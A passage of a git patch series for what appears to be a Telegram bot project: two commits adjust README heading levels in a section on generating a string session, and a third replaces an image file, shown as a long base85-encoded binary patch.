-### String Session (Need before deploying) +### String Session (Need before deploying) #### Using the Bot (Recommended) [![Use Our Bot](https://img.shields.io/badge/StringSessionGenerator-Use%20Bot-brightgreen)](https://t.me/stringsessionbot) From e20e3c79bb29e8bf83129fbc7b0f87ebf2757410 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 22:25:00 +0530 Subject: [PATCH 175/838] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 2c009bb9..25edb690 100644 --- a/README.md +++ b/README.md @@ -36,7 +36,7 @@ Get APP ID and API HASH from [HERE](https://my.telegram.org) and BOT TOKEN from ### String Session (Need before deploying) -#### Using the Bot (Recommended) +### Using the Bot (Recommended) [![Use Our Bot](https://img.shields.io/badge/StringSessionGenerator-Use%20Bot-brightgreen)](https://t.me/stringsessionbot) From 5ef6f1904d9d0e92e1c3898ca4e32f8c7c6fe267 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 22:25:21 +0530 Subject: [PATCH 176/838] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 25edb690..6c1399bc 100644 --- a/README.md +++ b/README.md @@ -35,7 +35,7 @@ Get APP ID and API HASH from [HERE](https://my.telegram.org) and BOT TOKEN from

-### String Session (Need before deploying) +## String Session (Need before deploying) ### Using the Bot (Recommended) [![Use Our Bot](https://img.shields.io/badge/StringSessionGenerator-Use%20Bot-brightgreen)](https://t.me/stringsessionbot) From 5c6d1b918beca3373011b695f8fd1a67312261d4 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Fri, 25 Dec 2020 22:44:32 +0530 Subject: [PATCH 177/838] Add files via upload --- friday.png | Bin 815782 -> 122567 bytes 1 file changed, 0 insertions(+), 0 deletions(-) diff --git a/friday.png b/friday.png index 4062a6d57fb388e6717d2a34ff00e31d260dbd15..d6066f87730cd37952acc2ae20d0d68c22048eff 100644 GIT binary patch literal 122567 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 